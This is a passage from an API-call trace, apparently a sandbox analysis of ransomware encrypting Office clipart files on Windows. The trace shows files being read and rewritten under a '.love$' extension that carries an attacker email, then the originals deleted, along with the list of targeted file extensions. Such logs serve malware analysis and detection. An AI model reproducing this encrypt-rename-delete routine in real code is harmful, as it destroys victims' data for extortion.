(hFile=0x488) returned 1 [0242.006] CloseHandle (hObject=0x488) returned 1 [0242.006] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.006] SetEndOfFile (hFile=0x388) returned 1 [0242.010] CloseHandle (hObject=0x388) returned 1 [0242.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.011] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0242.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.012] lstrlenW (lpString=".doc") returned 4 [0242.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.012] lstrlenW (lpString=".docx") returned 5 [0242.012] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.012] lstrlenW (lpString=".pdf") returned 4 [0242.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.012] lstrlenW (lpString=".xls") returned 4 [0242.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.013] lstrlenW (lpString=".xlsx") returned 5 [0242.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.013] lstrlenW (lpString=".ppt") returned 4 [0242.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.013] lstrlenW (lpString=".zip") returned 4 [0242.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.013] lstrlenW (lpString=".rar") returned 4 [0242.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.013] lstrlenW (lpString=".bz2") returned 4 [0242.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.013] lstrlenW (lpString=".7z") returned 3 [0242.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.013] lstrlenW (lpString=".dbf") returned 4 [0242.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.013] lstrlenW (lpString=".1cd") returned 4 [0242.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.013] lstrlenW (lpString=".jpg") returned 4 [0242.013] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.013] lstrlenW (lpString=".doc") returned 4 [0242.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.013] lstrlenW (lpString=".docx") returned 5 [0242.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.014] lstrlenW (lpString=".pdf") returned 4 [0242.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.014] lstrlenW (lpString=".xls") returned 4 [0242.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.014] lstrlenW (lpString=".xlsx") returned 5 [0242.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.014] lstrlenW (lpString=".ppt") returned 4 [0242.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.014] lstrlenW (lpString=".zip") returned 4 [0242.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.014] lstrlenW (lpString=".rar") returned 4 [0242.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.014] lstrlenW (lpString=".bz2") returned 4 [0242.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.014] lstrlenW (lpString=".7z") returned 3 [0242.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.014] lstrlenW (lpString=".dbf") returned 4 [0242.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.014] lstrlenW (lpString=".1cd") returned 4 [0242.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0242.014] lstrlenW (lpString=".jpg") returned 4 [0242.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.015] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.015] lstrlenW (lpString="DD00407_.WMF") returned 12 [0242.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.024] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=7828) returned 1 [0242.025] CloseHandle (hObject=0x388) returned 1 [0242.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x220 [0242.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.026] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.026] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0242.027] GetLastError () returned 0x0 [0242.027] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1e94, lpOverlapped=0x0) returned 1 [0242.081] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1ea0, lpOverlapped=0x0) returned 1 [0242.082] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.082] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.082] SetEndOfFile (hFile=0x488) returned 1 [0242.083] CloseHandle (hObject=0x488) returned 1 [0242.083] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.083] SetEndOfFile (hFile=0x388) returned 1 [0242.087] CloseHandle (hObject=0x388) returned 1 [0242.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0242.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.089] lstrlenW (lpString=".doc") returned 4 [0242.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.089] lstrlenW (lpString=".docx") returned 5 [0242.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.089] lstrlenW (lpString=".pdf") returned 4 [0242.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.089] lstrlenW (lpString=".xls") returned 4 [0242.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.089] lstrlenW (lpString=".xlsx") returned 5 [0242.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.089] lstrlenW (lpString=".ppt") returned 4 [0242.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.089] lstrlenW (lpString=".zip") returned 4 [0242.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.090] lstrlenW (lpString=".rar") returned 4 [0242.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.090] lstrlenW (lpString=".bz2") returned 4 [0242.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.090] lstrlenW (lpString=".7z") returned 3 [0242.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.090] lstrlenW (lpString=".dbf") returned 4 [0242.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.090] lstrlenW (lpString=".1cd") returned 4 [0242.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.090] lstrlenW (lpString=".jpg") returned 4 [0242.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.090] lstrlenW (lpString=".doc") returned 4 [0242.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.090] lstrlenW (lpString=".docx") returned 5 [0242.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.090] lstrlenW (lpString=".pdf") returned 4 [0242.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.090] lstrlenW (lpString=".xls") returned 4 [0242.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.090] lstrlenW (lpString=".xlsx") returned 5 [0242.091] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.091] lstrlenW (lpString=".ppt") returned 4 [0242.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.091] lstrlenW (lpString=".zip") returned 4 [0242.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.091] lstrlenW (lpString=".rar") returned 4 [0242.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.091] lstrlenW (lpString=".bz2") returned 4 [0242.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.091] lstrlenW (lpString=".7z") returned 3 [0242.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.091] lstrlenW (lpString=".dbf") returned 4 [0242.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.091] lstrlenW (lpString=".1cd") returned 4 [0242.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0242.091] lstrlenW (lpString=".jpg") returned 4 [0242.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.091] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.092] lstrlenW (lpString="DD00414_.WMF") returned 12 [0242.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.092] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=42908) returned 1 [0242.092] CloseHandle (hObject=0x388) returned 1 [0242.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220 [0242.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.093] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.093] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0242.094] GetLastError () returned 0x0 [0242.094] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xa79c, lpOverlapped=0x0) returned 1 [0242.195] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xa7a0, lpOverlapped=0x0) returned 1 [0242.196] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.196] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.197] SetEndOfFile (hFile=0x488) returned 1 [0242.197] CloseHandle (hObject=0x488) returned 1 [0242.197] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.197] SetEndOfFile (hFile=0x388) returned 1 [0242.201] CloseHandle (hObject=0x388) returned 1 [0242.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0242.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.202] lstrlenW (lpString=".doc") returned 4 [0242.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.202] lstrlenW (lpString=".docx") returned 5 [0242.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.202] lstrlenW (lpString=".pdf") returned 4 [0242.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.202] lstrlenW (lpString=".xls") returned 4 [0242.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.202] lstrlenW (lpString=".xlsx") returned 5 [0242.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.202] lstrlenW (lpString=".ppt") returned 4 [0242.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.203] lstrlenW (lpString=".zip") returned 4 [0242.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.203] lstrlenW (lpString=".rar") returned 4 [0242.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.203] lstrlenW (lpString=".bz2") returned 4 [0242.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.203] lstrlenW (lpString=".7z") returned 3 [0242.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.203] lstrlenW (lpString=".dbf") returned 4 [0242.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.203] lstrlenW (lpString=".1cd") returned 4 [0242.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.203] lstrlenW (lpString=".jpg") returned 4 [0242.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.203] lstrlenW (lpString=".doc") returned 4 [0242.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.203] lstrlenW (lpString=".docx") returned 5 [0242.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.203] lstrlenW (lpString=".pdf") returned 4 [0242.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.203] lstrlenW (lpString=".xls") returned 4 [0242.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.203] lstrlenW (lpString=".xlsx") returned 5 [0242.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.203] lstrlenW (lpString=".ppt") returned 4 [0242.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.203] lstrlenW (lpString=".zip") returned 4 [0242.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.204] lstrlenW (lpString=".rar") returned 4 [0242.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.204] lstrlenW (lpString=".bz2") returned 4 [0242.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.204] lstrlenW (lpString=".7z") returned 3 [0242.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.204] lstrlenW (lpString=".dbf") returned 4 [0242.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.204] lstrlenW (lpString=".1cd") returned 4 [0242.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0242.204] lstrlenW (lpString=".jpg") returned 4 [0242.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.204] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0242.204] lstrlenW (lpString="DD00449_.WMF") returned 12 [0242.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.205] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=9992) returned 1 [0242.205] CloseHandle (hObject=0x388) returned 1 [0242.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0242.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0242.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0242.206] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.206] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0242.206] GetLastError () returned 0x0 [0242.207] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x2708, lpOverlapped=0x0) returned 1 [0242.430] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2710, lpOverlapped=0x0) returned 1 [0242.432] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.432] WriteFile (in: hFile=0x488, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0242.432] SetEndOfFile (hFile=0x488) returned 1 [0242.433] CloseHandle (hObject=0x488) returned 1 [0242.433] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.433] SetEndOfFile (hFile=0x388) returned 1 [0242.439] CloseHandle (hObject=0x388) returned 1 [0242.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0242.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 